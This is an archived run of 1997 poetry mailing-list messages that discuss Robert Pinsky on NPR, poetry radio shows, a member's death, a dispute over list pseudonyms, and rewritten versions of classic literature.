When _Leningrad_ was published, there were actual negotiations for awhile betwixt Mercury House's PR folks and NPR. Ditto with The Atlantic. Tho all for nought, as it happened.

Because of the "reach" that such institutions have, you can imagine that there are a gazillion folks trying to get through to Terri every day. So it ends up with a hefty moat around it and frankly the places with the experienced PR agents would indeed be the likely ones to get across the bridge. No conspiracy theory needed.

Ms. Gross, of course, is an alum of the very same English Dept that sponsors this list...

Spicer's Pacifica show was on folk music, not poetry and ran in something like the 1949-52 time frame. The tapes of him I've heard from the SF State Archive would take more than a little remastering to make audible.

Clark Coolidge did a great show on KPFA for awhile in the late 1960s, followed by another by David Gitin. Clark's was basically the NY School, and David's basically the Black Mtn folks. Later Kit Robinson and Erica Hunt did a series called In the American Tree (from which I took a title), later hosted by others as well. Jack Foley more recently has had a show on that station.

Ron

>David Bromidge wonders:
>> But perhaps I
>> malign NPR. I know they offer Andrei Codrrescu. But apart from that, do
>> they offer poets of a stripe not that of Robert Pinsky? Has any one of
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>> Karen Mac Cormack, Jackson Mac Low, Jennifer Moxley, Charles Bernstein,
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>with Pinsky). I'm sure Rita Dove has been on as well, plus Maya Angelou...
>
>Actually, I find the interviews fascinating. I suppose this is because I
>relish the sensation of frustration. Seriously, it's good to reinforce
>that the poet laureate is who you'd basically expect he'd be.
>
>From: mark weiss <[redacted]>
>Subject: Re: Pinsky on NPR
>
>It wasn't always so. There was a time, maybe twenty years ago, when Susan
>Howe produced a weekly series of readings on WBAI, New York's then Paci-
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>station, and I produced poetry specials. I remember doing Armand Schwerner

>reading the entire (as of that date) The Tablets, a lengthy interview and
>reading with Paul Metcalf, and two 2 1/2 hour shows of resurrected and
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>

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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431. rsillima
Barry Cox
Wed 24 Sep 1997

Barry Cox, long a lurker on this list, passed away yesterday from cancer.

Of all the poets who turned to the computer industry for employment, Barry was arguably the most successful. His projects as CIO of BBDO-West, the ad firm, were the subject of articles in publications like Information Week.

Like a lot of poets, he didn't try to publish, though he attended readings in the Bay Area much more often than do most of the folks in the Palo Alto area.

He was a sweet, wonderful guy,

Ron

Ron Silliman
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Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
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432. MARK LEAHY
Re: Joyce/comics
Wed 24 Sep 1997

there is one of the Tankgirl series of comic books(should I say graphic novels) which is based on _Ulysses_ (titled I think 'the Odyssey') -- it opens with a morning shaving scene, and follows the rough outline of the novel, it is fun as a response to _Ulysses_ but seems to get bored with the idea part of the way through;

p.s. I'll be glad when the Red Slider issue ends (nothing against any of the participants) (perhaps it can be reworked in graphic format, certainly the range of science-fiction/conspiracy theory references would suit the genre -- to whom will be assigned the role of the Dark Knight?

Mark Leahy
[redacted]
School of English
University of Leeds
West Yorkshire
LS2 9JT
United Kingdom

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433. rob wilson
Re: devious signatories (my bad allegory)
Wed 24 Sep 1997

As an expert on American paranoia (also known as a version of the sublime trauma of this polity), I have finally figured out this "Red Slider"/"Charles Bernstein" affair. It turns out that (with his vast listserve expertise on a farm in Pennsylvania near Amish country), "Red Slider" is actually a hook or alias for "Ron Silliman," who is acting out his displaced rage against "Charles Berstein" (all due to the dialectics of LP agon as narrated by Bob Perelman in Marginal Poetics), but "Charles Bernstein" in this case is being played by Robert Pinsky who is not just satisfied to by US poet laureate but actually wants some playing time as manager of the Listserv (in other words wants to become "Listmaster" of that poetry enclave in Buffalo before its gets too big). So Silliman is feeling a bit more marginalized these days, yes, a bit more like Jack Spicer and proud of it and loving life in that bar/computer office. I arrived at this bad allegory by reading Joe Amato's wondrous new SUNY Press book, "Bookend" which is really about "anatomies of the virtual self" and the deviousness of all stable signatories (the book, a scholarly studies, actually dissolves in lettrist emptines and typos at the end). I suspect this book was written by John Cage or Marshall

Mcluhan. I will end this bad allegory of the devious signatory in virtual space (I for one am Robocop in Christchurch mean to runin the mind of Denise Dutton), with a quote from that underrated poet, Peter Handke: Mercenaries had strayed into the language and occupied every word blackmailed each other by using concepts as passwords and I became more and more speechless

and stopped working the time warps of those "cultural journals" and litte poetry magazines.
This may be Rob Wilson, but I am not "Red Slider" who is "Red Slider" and works on a farm.
No offense intended to my fellow paranoids and marginal subjects.

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434. **henry**
Re: Pinsky on NPR
Wed 24 Sep 1997

On Tue, 23 Sep 1997 17:13:54 -0500 p. durgin said:
> Points well taken, but I, for one, have trouble with a notion of
>poetry progressing. How can its effectiveness be theoreticized out of the
>very private and obscure author/reader relation? Purposeful intent meets
>with the same solopsitic ruts as the cathedral builders. What Joyce does
>resembles the sort of thouroughness you suggest, but it is only as
>effective for some. And why? Not for anyone to say as much as it is for
>everyone to say.
> Agreed, though. Lazy writing isn't hard to spot. But it comes in
>all flavors, don't it?

I'm with you, Patrick. The idea of a poetry/architecture relation intrigues me though. With all that stone & at that great height, and with so much at stake (like the NASA program of its time), & here were these architects weighing what had been done & creating elegant & viable "solutions". Gehry's doing it today with his titanium walls. Is there a way of reading poetry for its weight and heft & transparency - a way of measuring it - and providing deliberate alternatives? Of course, this is how it's done all the time. But this assumes a certain sobriety about each undertaking... does it sound like poetry anymore? Henry mumbled... Imagine imagination which includes PLAN... (the Hefty Formalists?) - Henry G.

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435. **Loss Pequen~o Glazier**
Re: Barry Cox
Wed 24 Sep 1997

Barry was someone I admired greatly. He was extremely quiet but his keen observations were always a thrill. He had also been a long time follower of poetry and one of those poetry regulars so vital to the viability of a series, book, or magazine - a supporter of poetry in every sense of the word. I spent a good deal of time with Barry in Vancouver and most recently in Buffalo for the Duncan festival. He loved the word and was a devoted reader. He was present during the formative stages of some West Coast poetries and I believe he had also been a student of Robin Blaser's in Vancouver. He was also someone who travelled regularly, backcountry Mexico being one of his haunts. My favorite stories of his were his recollections of readings of Ron, Charles, and others, early on. Getting an additional perspective on some of the published accounts. It seemed to me he had such an important perspective, was sitting there at the beginning, and through many significant moments. His keen state of sweet, studied, quiet observation, almost buddhist in nature, is something that I will always remember. As I will his respectfulness for people and his unstoppable, affectionate awe of the word. Though Barry wasn't widely known, he was significant among us; we have certainly lost a part of where we have been by losing someone who never failed to be with us.

At 05:16 AM 9/24/97 -0500, you wrote:
>Barry Cox, long a lurker on this list, passed away yesterday from cancer.
>
>Of all the poets who turned to the computer industry for employment, Barry was
>arguably the most successful. His projects as CIO of BBDO-West, the ad firm,
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>
>

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436. **Joseph S Zitt**
Re: Pinsky on NPR
Wed 24 Sep 1997

On Wed, 24 Sep 1997, Herb Levy wrote:

> *Community stations are great and the few small independent networks (are there really any others besides Pacifica) tend to be good, though everyone I know who lives in a town with a Pacifica station complains about how they've deteriorated.*

There's still good radio in Austin (or was, as of when I left two months ago). KUT, the NPR affiliate, has poets as guests on several shows, most notably the morning-midafternoon show, Eklektikos, and some of the overnights. And there are several shows with poets (on an erratic schedule) on KOOP, the indie station (which, while it carries Pacifica news, isn't a Pacifica station). They tend not to be adventurous, since they're mostly made up of local poets (who tend to be surprisingly conservative), bit it's something...

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437. **Sarah Hreha**
Re: devious signatories (my bad allegory)
Wed 24 Sep 1997

At 02:06 AM 9/24/97 -1000, you wrote:
>As an expert on American paranoia (also known as a version of the sublime
>trauma of this polity), I have finally figured out this "Red
>Slider"/"Charles Bernstein" affair. It turns out that (with his vast
>listserve expertise on a farm in Pennsylvania near Amish country), "Red
>Slider" is actually a hook or alias for "Ron Silliman," who is acting out
>his displaced rage against "Charles Berstein" (all due to the dialectics
>of LP agon as narrated by Bob Perelman in Marginal Poetics), but "Charles
>Bernstein" in this case is being played by Robert Pinsky who is not just
>satisfied to by US poet laureate but actually wants some playing time as
>manager of the Listserv (in other words wants to become "Listmaster" of
>that poetry enclave in Buffalo before its gets too big). So Silliman is

>feeling a bit more marginalized these days, yes, a bit more like Jack
>Spicer and proud of it and loving life in that bar/computer office. I
>arrived at this bad allegory by reading Joe Amato's wondrous new SUNY
>Press book, "Bookend" which is really about "anatomies of the virtual
>self" and the deviousness of all stable signatories (the book, a scholarly
>studies, actually dissolves in lettrist emptines and typos at the end). I
>suspect this book was written by John Cage or Marshall Mcluhan.
>I will end this bad allegory of the devious signatory in virtual space (I
>for one am Robocop in Christchurch mean to runin the mind of Denise
>Dutton), with a quote from that underrated poet, Peter Handke:
>Mercenaries had strayed
>into the language and occupied
>every word
>blackmailed each other
>by using
>concepts as passwords
>and I became more and more speechless
>
>and stopped working the time warps of those "cultural journals" and litte
>poetry magazines.
>This may be Rob Wilson, but I am not "Red Slider" who is "Red Slider" and
>works on a farm.
>No offense intended to my fellow paranoids and marginal subjects.
>
>
A. Sarah Hreha
Dept of Spanish and Portuguese
University of Minnesota

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438. **robert drake**
Re: confusion/Red's 86
Wed 24 Sep 1997

---

mulling over th embers of the latest conflaguration as they dim down, this latest eruption over how the list operates... certainly there's concern over real/imagined abuses ov power that might "moderate" what we imagine is a free & equal exchange... but ov course thee list, as a social entity, is constantly moderating itself, and each ov us is a moderator... the effusive and lauditory thankyous & agreements that greet th postings of one ov our more famous listmembers, or the silences that greet notes that are seen as naive or uninformed... not to mention ov course the sarcastic or vitrolic retorts that regularly fly thru these

mailboxes, nor the friendly banter that publicly marks various subgroups as allies... i'm not suggesting that these dynamix are evil or shd be "fixed"--only that they have real power to control participation, and that we're each responsible for our (individual/collective) use ov that power...

asever
luigi

↑ Index

439. Douglas Barbour
Re: Bromige on 'readers' versions'.
Wed 24 Sep 1997

Speaking of David Bromige:

well, David, I loved the 'translations,' so thanks a lot for (oops!) 'playing that game.'

On the other hand, I assume that when you said:

<<I don't think we need to be intimidated by anything, & surely not by readers' versions of great lit. Are we really intending to go on reproducing novels & poems from the past word for word into an infinite future? Give me a break!>>

you were being ironic, & irony has such problems today! On the other hand, if Im wrong & the irony is that there's no irony there, well I blush & retire in confusion from the fray...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

440. David R. Israel
nostalgia & its vintages
Wed 24 Sep 1997

[was, Subject: Re: Bromige on 'readers' versions'.]

quoth Professor Barbour

> *. . . & irony has such problems today!*

O where are the ironies of yesteryear --
when weren't said rang silvern in the ear? --
when what I meant (converse to what I spake)
shone lucid as the then-waterbrooks, & clear

d.i.

↑ Index

441. James Finnegan
Re: Pinsky on NPR
Wed 24 Sep 1997

In a message dated 97-09-23 10:29:51 EDT, you write:

> *what I*
> *did hear made me swear (example: Terry*
> *asks what he thinks of performance poetry*
> *and he says, "well I'm not *against**
> *it--" [translate: I'm against it]).*

I certainly don't know his views on performance
poetry per se. But I'm not so certain
Pinsky is against the performance aspect of
poetry. He reads with vigor and gusto--seems to
truly enjoy his own readings as performance.
I've heard him describe poetry as a function of
the body--the control of and exhalation of
"a column of air" rising out of one's body.

I believe, in hearing him speak, that Pinsky
is open-minded to alternative poetries. Poetries
outside his vein. Also, he did a good job of countering
(see below, from NYT OpEd, I believe) Richard Howard's
small-minded address--RH expressing his desire
to keep poetry a secret society--to PEN (reprinted
in the April issue of Harpers).

As for NPR, I know that a Katherine Bowman
does periodic segments featuring a single poet.
I get the impression she's trying to cover the map
of what contemporary poetry is in the U.S. (But
maybe her map is missing a few precincts.)
Has anyone, of langpo or postmod sector, tried
to contact her, sent her a book or tape? Had
any response?

Finnegan

The People's Verse By Robert Pinsky

Should poetry be on the Internet? Should it have a month, like cheese or Vaccination Awareness? No, say critics like the sage and distinguished poet Richard Howard, citing the inner, personal nature of the art. This is a sympathetic position, but I differ. Poetry is part of our shared, communal life, as surely as is the Internet. The conventional notion is that technology and poetry are opposites, but poetry is itself a technology: an ancient technology that uses the human body. Like the digital computer, verse is a memory system; a means of storing information that can be called up with great speed, compactly. The bodily technology of verse allowed the griots of Alex Haley's "Roots" to recite historical records: long genealogies, dynasties, property rights. This ability to extend a process seems to be part of our genetic makeup, a link between voice and cognition. After all, when someone tells you their phone number, you mutter it aloud because vocalizing it helps your brain remember it. This patterning by vocal repetition is similar to what musicians call "getting it under your fingers" or athletes call "body knowledge." Certain patterns enter the mind through repetition in the body. Written poetry in English came long before prose. By a similar principle, it is not hard to imagine that poetry -- a code of expression based on the expressive and (I assume) rhythmic grunts made by a resourceful mammal -- preceded other forms of language. Relatively disembodied language that uses its own vocal quality only in a diluted or feeble way, at many removes from the body, may be a rather recent development in evolutionary time. Our species' development of sophisticated technologies like the computer extends our primate ancestors' development of rhythmic, meaningful vocalizations. The word poet comes from the Greek for "maker," and poetry has served as a mighty taproot of an intellectual as well as a spiritual kind. There appears to be a link between the creative power of imagination and the power of what might be called "mumbo jumbo" -- a place where formal intensity and opacity overlap. That is, to conceive of something new seems to be linked to an intimate sense of the mysterious -- something that is not immediately reducible to paraphrase. The ability to make new discoveries is related to another sensation that is part of

the vocal patterning associated with poetry: the pleasure taken in language that is only partly understood. Why is the maiden all forlorn? Why is the priest all shaven and shorn? Why does he marry her to a man who is tattered and torn? Because it rhymes (so we remember it) -- but maybe also because she is pregnant? We don't know. But wondering about such questions feels to me like a fundamental aspect of intelligence. Our development of a highly sophisticated culture, one in which many workers delight in solving difficult problems and handling vast amounts of information, depends on an elaborate, ancient substructure -- the billion accidents and intentions that underlie every word. From this perspective, designating April as National Poetry Month might seem as absurd as having a month for Our Genetic Heritage. Yet it is a very good idea just the same. For poetry isn't only bodily, it is also civic. Poetry month and the posting of short poems on subway cars may violate some notion of the form's intimate quality. But the civic space is where language and makers live. In the 17th century, poets -- some of them great ones -- wrote poems flattering royalty and toadying up to rich, eminent patrons. That was part of the civic life of art, a part of the way that society held onto the art of poetry, thereby preserving it for the unborn. That process of preserving this treasure was more organic than overt. It was part of the social process: The king wanted some high-grade flattery and the poet wanted what the king had to give. Because of that civic exchange, those people, all now dead, kept alive a treasure for us. Incidentally, the exchange might have sharpened the makers' sense of reality, making clear all the silliness and imperfections of their times, and of themselves. As to the imperfections of our time and ourselves, Richard Howard may be right to remind us that the art of poetry is inward, and not limited to April (which is also Soy Products Month). But the art is also outward, part of the marketplace where we all gather.

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442. **p. durgin**

Re: Pinsky on NPR

Wed 24 Sep 1997

Henry, Gehry's work has at least one immediate effect, and that seems to be a wistful fun-house mirror effect. In that, the surrounding landscape, or city-scape, is emulated and mocked at the same time. So, I think you draw a vivid analogy, the ends left open, and the dogma replaced by discourse. I wonder, despite what is normally taken for the author/reader function, their respective roles, if subcunscious intent (PLAN) guides one through the writing/reading/(even) theorizing experience (IMAGINATION). On these terms, imagination and intent are inseperable. "Objective Chance"? Patrick F. Durgin

I[I]I [redacted] I[I]I

On Wed, 24 Sep 1997, henry wrote:

> *I'm with you, Patrick. The idea of a poetry/architecture relation intrigues me though. With all that stone & at that great height, and with so much at stake (like the NASA program of its time), & here were these architects weighing what had been done & creating elegant & viable "solutions". Gehry's doing it today with his titanium walls. Is there a way of reading poetry for its weight and heft & transparency - a way of measuring it - and providing deliberate alternatives? Of course, this is how it's done all the time.*
> *But this assumes a certain sobriety about each undertaking... does it sound like poetry anymore? Henry mumbled... Imagine imagination which includes PLAN... (the Hefty Formalists?)*
> *- Henry G.*

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443. Burt Kimmelman
Call for essays
Wed 24 Sep 1997

Ed Foster has asked me to post the following (please do not respond to the below to me but rather directly to Ed--if his e-mail is working then the address would be: [redacted]).

TALISMAN is currently preparing a collection of essays tracing the history of innovative American poetry from the 1970s to the present. The essays will be published in a double issue of the journal (#20-21, Winter/Spring 1999) and simultaneously as a book, both in paper and cloth.

We are looking for poets, scholars, and critics who would be willing to prepare essays of 4,000-6,500 words for the book. Essays could deal with an individual figure if her/his work can be seen as representative of a particular aesthetic or a certain group of poets, but we would be more interested in essays with a general focus. About twenty writers are at present preparing essays for the project, but many important areas are not yet covered--e.g., gay poets, Hispanic poets, small publishers and little magazines (an essay on L=A=N=G=U=A=G=E and related journals has already been assigned, however).

If you would like to take part in this project, please write, as soon as possible, to the editors, Joseph Donahue and Edward Foster, at Talisman, P.O. Box 3157, Jersey City, NJ 07303-3157; or call [redacted]; or fax [redacted].

The deadline is October 6.

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444. Burt Kimmelman
Re: Bromige on 'readers' versions'.
Wed 24 Sep 1997

david,

pardon my obtuseness at missing your irony. no wounds i hope.

burt

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445. dbkk
Re: Try again Charles - this is exactly how it came to me
Wed 24 Sep 1997

At 8:41 PM -0400 9/23/97, Eliza McGrand wrote:

> *red slider, i think you have entirely too much free time. if you think you know so much about how to run 500+ lists (a really LARGE list as these things go) and are so willing to put so much energy into attacking someone who has had a whole lot of gumption, decency, and put in unimaginable amounts of work into building a net list and community, why don't you channel some of that energy into doing something constructive like starting and managing a list of your own?*

<snip>

> *i can only hope, but must firmly believe (in order to believe in anything approximating a rational world) that whoever "runs" the EPC will have the sense and grace to see both the huge amount of work, FOR ABSOLUTELY NO MONEY WHATSOEVER, charles et al have put into poetics and the extraordinary achievement it is, and the uh, misguided, nature of your attack and drop the whole thing into electron styx.*

While I cannot claim to understand the whole Red Slider thing fully and I should have kept out of it in the first place (when I was in Buffalo last week Charles mentioned to me that he was writing to RS re: pseudonyms) I cannot resist commenting on a particular vein of this flurry of responses which I find problematic--the way the issues quickly break down into moral defenses of the parties involved. "Red Slider is a good human/cyber being and therefore he's a martyr" vs. "Charles works very hard and therefore it's sinful to criticize him." People take sides as if defending political candidates--or nations, and I think all nationalism is fascist. But that's just my narrow vision. Having been on the receiving end of such attacks this summer over my critique of the Sun & Moon contests--where the logic was S&M published lots of important books and its editor was therefore beyond examination, I felt like I was criticizing God or something. I felt no one on the list would look at my detailed listing of my personal experiences, and though I got lots of backchannel and phone support, no

one dared to publically show compassion towards me on the list. I felt bitter, very bitter. And then later in the summer there was the passionate defense of the pornographic babes/attack on right-wing Dodie . . . forever will I think of myself as the queen of "rhetorical violence". I felt bitter-er still.

Red Slider's lucky he has so many friends here, but that doesn't mean that he's automatically the victim of some Kafka-esque conspiracy.

I'm sure Charles works hard and that he's a great human being, but that doesn't mean he's above scrutiny either.

I was reading about the "fantasy of objectivity" this morning in a great anthology, _Freakery: Cultural Spectacles of the Extraordinary Body_, edited by Rosemarie Garland Thomson. It's interesting (and maddening) how this fantasy of objectivity occasionally breaks down on the Poetics List into emotional hysteria. I suppose, in the bigger picture, that's a good thing. It shows us where the seams are.

Dodie

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446. **henry**
Re: Pinsky on NPR
Wed 24 Sep 1997

On Wed, 24 Sep 1997 10:59:23 -0500 p. durgin said:
I wonder, despite what is normally taken for the author/reader
>function, their respective roles, if subcunscious intent (PLAN) guides one
>through the writing/reading/(even) theorizing experience (IMAGINATION).
>On these terms, imagination and intent are inseperable. "Objective
>Chance"?

Plan & imagination in a relation comparable to chance and necessity - that is a reciprocal or maybe mirror image. What appears fortuitously is what is at hand - i.e., the necessary materials. But language is so overloaded with SOCIAL "architecture" (human experience) that to talk about poetry in terms of wood & stone seems pretty abstract, I'm sure. (Not that poets haven't tried to "objectify" it in various ways... maybe that's what we're doing.) Yeats used to write out a prose "abstract" of the poems he wanted. A plot. This is a way of getting at what I meant about being deliberate & responsible for every element. Not that it's the only way!! As you said, lazy writing takes many forms... for some, a prose trot would be the best way to kill a poem & internet chatting is probably the ultimate form of lazy writing! - HG

p.s. but perhaps the ultimate laziness is the above equation: chance = necessary materials. "localism", "confessionalism", "aleatory techniques", "serial

form", "documentary realism", etc. - all roughly equivalent! Valorizing whatever's ready to hand. - Henry G.

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447. **p. durgin**
Re: Try again Charles - this is exactly how it came to me
Wed 24 Sep 1997

And this leads up to the point I was trying to gather the guts to make:::::::: The least we could do is leave the bickery on non-poetic topics to some other type of forum. May this be so, and this message the last in this far too peripheral thread.

Patrick F. Durgin

I[I]I [redacted] I[I]I

On Wed, 24 Sep 1997 [redacted] wrote:

> *Red Slider's lucky he has so many friends here, but that doesn't mean that he's automatically the victim of some Kafka-esque conspiracy.*
>
> *I'm sure Charles works hard and that he's a great human being, but that doesn't mean he's above scrutiny either.*

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448. **Hank Lazer**
Re: Terri Gross
Wed 24 Sep 1997

Ron,

Jack Foley's radio show at KPFA continues. Jack has, over the years, done many fine interviews. He knows the writing, and he asks smart, intrusive, engaging questions. I say that based on an interview with him several years ago. He did (about a year ago?) an extraordinary interview with Allen Ginsberg (in connections withe the SELECTED poems). Also, a superb show with Lou Harrison focusing on Lou's poetry. A gem with Jake Berry. Last I heard, Jack was getting ready (a couple of weeks ago) to interview Robert Grenier.

Hank Lazer

P.S. As to Terri Gross's interviews, UGH. Her formula--breathy, how did you have the courage to write that poem?--so narrows the genre....

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449. **p. durgin**
Re: Pinsky on NPR
Wed 24 Sep 1997

Henry,

What's at hand is the pith of the thing, the raw, unalloyed materials. In my own case (since I can't speak fairly of every case), this raw "stuff" on the work-bench has lost its value at first touch, and the job of the poet is to create a valuable and artificial conglomeration of grime. 's dirty job and stemming from a perhaps crude exploitation of the materials, but aleatory techniques call for bravery and genuine crafts___ship, and will brook no laziness. There is the aleatory and then there is the technique. Just as there is something to confess away and apart from the confession.

Patrick F. Durgin

I[I]I [redacted] I[I]I

On Wed, 24 Sep 1997, henry wrote:

> *p.s. but perhaps the ultimate laziness is the above equation: chance = necessary materials. "localism", "confessionalism", "aleatory techniques", "serial form", "documentary realism", etc. - all roughly equivalent! Valorizing whatever's ready to hand. - Henry G.*

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450. **Carol Mirakove**
Re: Pinsky on NPR
Wed 24 Sep 1997

Finnegan writes:
> I certainly don't know his views on performance
> poetry per se. But I'm not so certain
> Pinsky is against the performance aspect of
> poetry. He reads with vigor and gusto--seems to
> truly enjoy his own readings as performance.

Yes, I agree--he does seem passionate in delivery. But that he puts a lot into his own performance does not mean that he's down with performance poetry. I should have included more of the frame of Terri's question, which was 'how do you feel about performace poetry, which is so poular today, and relies on rhythm and sound more than the meaning of the words' (that's a paraphrase; 'meaning of the words' is a crappy way to put what she said, but you get the idea?, it was a "content" issue). That's when Pinsky said "well I'm not *against*

[performance poetry]." And he went on to say that a poetics that foregrounds rhythm and sound is not tapping into/not creating the most *profound* poetry.

I am no Pinsky expert, and I'm willing to trust that in some cases he has displayed an interest in alternative poetry. But all of the exposure I have had to him says otherwise. That wasn't really the point of my original post, anyway, though, I only wanted to share a line by him that I thought was *very* funny.

Thanks for sharing the piece on where poetry should be by Pinsky. Certainly it is always good to read about openness to all mediums. My concern though was *what* poetry should be (according to Pinsky), but maybe I've caught him on days when he was feeling particularly narrow.

Carol

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451. Dale Smith
Mike and Dale's Younger Poets
Wed 24 Sep 1997

Mike and Dale's Younger Poets Issue 6 (Summer 97) is available for a wopping US$5. We present the hottest poetry available in an intimate and engaging format. Overbearing prose, regurgitated postmod theories of poetic discourse, unintelligible genre mutations and undisciplined academic verse are all entirely absent from this upbeat, post beat crack mountain masterpiece of late 90's streetwise urban howls. We offer poetry by: Philip Whalen, Joanne Kyger, Drew Gardner, Jeff Conant, Own Hill, Bill Berkson, Dario Villa, Richard Houff, Michael Price, Connie Deanovich, Araki Yasusad (?), Anselm Berrigan, Edward Ainsworth, Kenward Elmslie, Donald Guravich, Ron Padgett, Sarah Menefee, Kevin Opstedal, Noel Black, Hoa Nguyen, Adam Cornford and yours truly.

Also included in this issue are interviews with Tom Clark and Edward Dorn.

To order, send a check to: Michael Price
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San Francisco, CA 94110

Or contact our Southwest branch: Dale Smith
1207 Lorrain Street #2
Austin, TX 78703

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452. **Schuchat Simon**
Re: Bromige on 'readers' versions'.
Wed 24 Sep 1997

I thought the Bromige-ized Anecdote of the Jar was spectacular.

From a technical point of view, Gerard Malanga has a lot of poems using a similar method, the example that comes to mind is "To a Young Heiress" which comes from Frank O'Hara's "To The Harbormaster"

Paraphrase and appropriation, essential tools

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453. **Aldon Nielsen**
Caribbean Studies Conference
Wed 24 Sep 1997

FYI: have just received a call for papers from the Association of Caribbean Studies. The conference will be held in Cartagena, Columbia, July 25-31, 1998. Abstracts of 200-300 words, double-spaced, may be sent to:

Conference Coordinator
Association of Caribbean Studies
P.O. Box 22202
Lexington, KY 40522-2202

Abstracts must be submitted in triplicate before April 30, 1998. Speakers will be limited to 15 minutes. (That does seem a long way to go for fifteen minutes of time on the agenda, but maybe it's worth it to hear the rest of the conference?) It says here that "almost" all papers are delivered in English.

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454. **Eliza McGrand**
Re: Try again Charles - this is exactly how it came to me
Wed 24 Sep 1997

---

it was never a matter of personal loyalties -- i've never met charles. but i can appreciate both ends having been assistant listmaster on pretty large list for awhile, and having had my own bout of sulks and paranoia the first time the list had a slowdown.

and i can also approach this historically, having watched over the years a number of people with varyingly colorful computer problems wrestling with subscriber problems both here and on other list i helped care for.

no one has ever approached it with the shotgun aimed at listmaster and stalin-era-like level of paranoia of this last bout. i've never seen anyone try to get a listmaster fired because the list program cut them due to address problems (and recall, red slider bragged several times about having gone to the head of EPC, charles' and list's presumed "bosses" over his deletion). finally, i've not seen anyone so patently ignore corrections of a misreading as ws done mr. slider, nor make such a loud fuss when asked if in compliance with stated rules of list, and if not, to get in compliance. slider knew this was NOT an anonymous/pseudonymic list when he joined -- it is all over the welcome and subscriber messages.

being a listmaster is one of the most frustrating and thankless and laborious tasks on earth, increased exponentially if you are only a moderately to slightly knowledgeable computer type. i am extremely impressed charles et alia managed to even LOAD listserv program! i never dared try, only help once my computer wonk friend had loaded and set parameters. if someone thought up an extremely helpful and wonderful way to set up a virtual community, invited me into it, did the mountains of boring tedious maintenance tasks necessary to keep it going, fixed the innumerable problems brought on by computer complications, remained cheerful and helpful throughout, and did this all with a minimum of computer sophistication, and all GRATIS, out of just their "good poetry citizen" ethos, well, it is beyond grotesque to imagine trying to get them fired and the list shut down because 1) i had inadvertantly cut off by a computer glitch; 2) i was asked if i was in compliance with a clearly stated policy and asked, if i wasn't, to bring myself into compliance. at least in my corner of the world, one thanks people when they do kind and extraordinary things for one, not attacks.

what on EARTH is going on when anyone would do such a thing, and anyone would defend it?! we all know charles and gang, all participate in their kindness and generosity and all of us benefit from their hard work. if there is reason to think a policy is less than ideal, at the very least, don't you think polite and private discussion with charles, with perhaps non-name-calling, non-accusatory, open discussion that is mindful of charles as the poor schmuck who will have to implement anything suggested is in order?

again, i, for one, would eschew insistance (and who the hell would i be to insist charles do ANYTHING given that i haven't done piss-anything to start, maintain, or build this list?) about any technical aspect of list maintenance unless i accompanied it with cheerful offer to roll up my sleeves and wade through grut and tons of computer persiflage and documentation accompanying anything to do with programs.

e

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455. **George Bowering**
Re: subtext w/ Bromige & Blaser
Thu 25 Sep 1997

Oh, Bromige's red rim eyeglasses are famous. When we read the four-author novel _Piccolo Mondo_ at the Western Front in Vancouver more than a year ago, David handed out red-rim glasses to all the authors. That was the poetical fashion statement of the Northwest for the Nineties.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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456. **George Bowering**
Re: readers' versions of great lit
Thu 25 Sep 1997

> *sorry david et al.,*
>
> *hey i'm shocked that a language-y guy like you, david, would be so complacent about reader's digest kind of rehash. Hmm, let me say, I wonder what Hallmark could do with some of your own lyrics.... You wouldn't mind, I presume.*
>
> *burt*

Ha ha and Ho ho. It happens that one of David's students got poems published by Hallmark Cards. All normal poets envious as hell.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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457. David Bromige
younger poets anthology
Thu 25 Sep 1997

Interested to see Philip Whalen in a "Younger Poets" issue. Younger than what--Methuselah? My god, even _I_ could have qualified under these less-than-rigorous guidelines....probably I was informed of it, but forgot. Why, even Tom Clark & Joanne Kyger gave up white ankle sox last year. I like chutzpah! Sign me up for a copy. "Younger than Springtime..." Ed Dorn doing the lead. If you're "Young at Heart", "fairy tales can come true." And thats what poetry is all about, dammit. I dont understand all this kerfuffle about fictional names. Once a younger poet, always a younger poet. Ask me later, years later, I'm indestructible. But I'm not NY School/Naropa--isnt _that_ more the focus here? David

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458. George Bowering
Re: Bromige on 'readers' versions'.
Thu 25 Sep 1997

> *<<I don't think we need to be intimidated by anything, & surely not by readers' versions of great lit. Are we really intending to go on reproducing novels & poems from the past word for word into an infinite future? Give me a break!>>*

Right friggin' on! I havent got time for all those 800pp novels and 300pp poems. If those writers had something to say, let 'em say it quickly. It's not like there's nothing else to do but read a novel by James Joyce. We have more and more books around now; we dont have to fill up our reading time. Give me James Joyce on two cassettes and I';ll listen to them on the way to work.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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459. **David Bromige**
e-ddress for Coach House Books/Victor Coleman
Thu 25 Sep 1997

If anyone out there has an up-to-date e-ddress, please b-c me. The [redacted] got bounced back G Bowering thinks there's a new e-ddress, but doesnt have it. Thanks, David

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460. **Jordan Davis**
readers versions
Thu 25 Sep 1997

There's an earlier precedent for the Bromige method; Kenneth Koch and John Ashbery's collaboration, "A Servant to Servants", begins "With a wooden lead-filled writing implement Jeeves wrote, 'What sudden showers',/And warm sunlight came flooding in the wood-framed glass aperture that Beulah had opened/For Alice B. Toklas. A mucus-filled bone construction in the middle of her face reacted angrily to the profusion of orange blossoms."

The TLS had a spectacular review of the Rose/Joyce Ulysses a few weeks back, a review that concluded periodless and which included a bravura catechetical section. It's been the TLS, actually, where most of the significant fussing between editor and executor has gone on. Sales of Berard's Odyssee have not jumped. Nor apparently has Larbaud's translation.

